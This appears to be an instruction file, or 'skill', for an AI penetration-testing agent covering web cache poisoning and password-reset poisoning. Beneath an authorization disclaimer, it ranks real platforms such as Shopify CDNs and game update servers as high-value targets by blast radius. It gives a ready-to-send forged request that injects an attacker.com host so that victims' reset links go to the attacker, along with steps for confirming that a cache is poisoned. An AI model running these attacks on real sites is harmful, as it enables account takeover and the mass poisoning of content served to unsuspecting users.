hunt-cache-poison

> **⚠️ AUTHORIZED USE ONLY**

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Crown Jewel Targets

Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously — one request, mass exploitation. Payout scales with blast radius.

**Highest-value targets:**

- **CDN-served assets** (cdn.shopify.com, cloudfront distributions, Fastly/Akamai edges) — poisoning these affects every visitor globally

- **E-commerce platforms** with affiliate/referral flows (Shopify, WooCommerce storefronts) — session hijack or affiliate fraud potential

- **Gaming platforms with update servers** (rockstargames updates.* domains) — DoS on update delivery = widespread client breakage

- **Authentication endpoints** served through caches — leads to account takeover (the highest severity variant)

- **Asset CDNs** (JS/CSS delivery) — XSS payload delivery at scale

- **SaaS multi-tenant platforms** — one poisoned response bleeds into all tenants sharing a cache key

**Asset types that pay most:** CDN hostnames, subdomain-per-tenant patterns, update/download servers, login/account pages cached incorrectly, affiliate link shorteners.

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Autonomous Testing Priority

**Two distinct attacks live under this skill — target the simpler one first.**

**Attack 1 — Password Reset Poisoning (Host header injection):**

The app uses the `Host` header to construct the password reset link in the email. Inject an attacker-controlled hostname; the victim's reset email contains a link to your server.

POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com

email=victim@target.com
Content-Type: application/x-www-form-urlencoded

Use a distinctive hostname you control or can identify in the response. **Proof:** the injected hostname appears in the response body (some apps reflect the generated reset link), or the action succeeds (2xx with a "reset email sent" message) after injection — confirming the poisoned link would be sent to the victim.

Try multiple host headers — apps vary in which one they trust (`X-Forwarded-Host` is most common, but `Host` itself also works when the proxy passes it through).

**Attack 2 — Web Cache Poisoning:**

Inject the attacker-controlled hostname into `X-Forwarded-Host` on a GET request for a cacheable page. If the hostname is reflected in the response body AND the response gets cached, subsequent visitors receive the poisoned response.

Check for cache signals in the response: `X-Cache: HIT`, `CF-Cache-Status: HIT`, `Age: <nonzero>`, or `Via: cloudfront/varnish/fastly`.

**Proof for both:** injected value reflected in response body, or action completed successfully despite the manipulated header.

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Attack Surface Signals

**URL patterns to look for:**

- `cdn.`, `assets.`, `static.`, `updates.`, `downloads.` subdomains

- URL path structures with extensions that look static: `/path/to/page.css`, `/account.php/nonexistent.jpg`

- Affiliate/link shortener endpoints: `/link/`, `/go/`, `/ref/`, `/out/`

- Paths that mix dynamic content with cacheable-looking URLs

**Response headers that signal a cache:**

X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT